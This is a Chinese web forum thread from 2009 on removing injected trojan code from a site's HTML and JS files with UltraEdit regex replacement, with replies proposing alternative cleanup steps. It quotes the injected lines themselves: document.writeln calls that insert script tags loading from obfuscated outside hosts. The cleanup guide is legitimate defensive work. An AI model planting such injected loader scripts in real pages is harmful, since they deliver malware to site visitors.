当前位置：
|
主题：[原创]三分钟批量清除HTML和JS内木马代码方法详细图解 [收藏主题] | 转到： |
 第一步：将服务器或者虚拟主机的HTML文件夹下载到本机，保存目录为HTML
第二步：用软件“ultraedit”对所在文件夹进行批量替换：
第三步：使用正则替换：
大家看这位朋友的代码： document.writeln('<script id="scr7ipt5552" type="text/javascript" src="http://pt928.99%36%36.org" language="JavaScript" ><\/script>'); document.writeln('<script language="JavaScript" src="http://pt%3928.%39%3966.org" type="text/javascript" id="scr7ipt938" ><\/script>');
由于每个代码内都包含：id="scr
我觉得这个和我们的采集规则一样，所以我们的正则替换代码如下 清除JS内代码请用规则如下： 第一正则：document.writeln('<script*id="scr*><\/script>');
清除HTML代码规则如下： 第二正则：<script*id="scr*></script>
大家选择替换的时候一定要钩上“使用正则替换”!!!
第四步：点击全部替换
使用这四个步骤可以在不用重新发布HTML的情况下将木马代码清除，这个帖子是根据帖子http://bbs.kesion.com/dispbbs.asp?boardid=44&id=93390&page=&star=2 整理而成
希望对大家能起到一点帮助！ |
|
 支持(0) |  反对(0)
 顶端  底部
|
![电子邮件:[ zhong@126.com ]](http://bbs.kesion.com/club/images/email.gif){kind=small}
|
支持(0) | 反对(0)
顶端 底部
|
 zhenfengdz 发表于：2009/10/7 8:43:00 | 只看该作者 查看该作者主题
藤椅 ultraedit还有这个功能，受教了。
不过这个办法好像有点麻烦吧？在本地替换的，替换完了不是还得传到空间，那就要若干时间。
我的做法是，用文件比较工具，比较空间文件和本地文件异同，空间上多出的文件全部删除，被挂的asp、js文件全部用本地文件替换，html、htm文件全部生成一遍，就完成了。
|
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
 以下是引用komkom在2009-10-2 16:59:00的发言：
累,html文件重新生成就好了,没必要这么复杂吧.而且这种做法治标不治本,把官网说的两个文件删了,修改后台路径,密码,验证码才是目前唯一出路 我怕对搜索工具有影响，因为有的标签重新生成内容也变了，所以手动删掉一些~~ |
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
| ＜上一主题 | 下一主题 ＞ |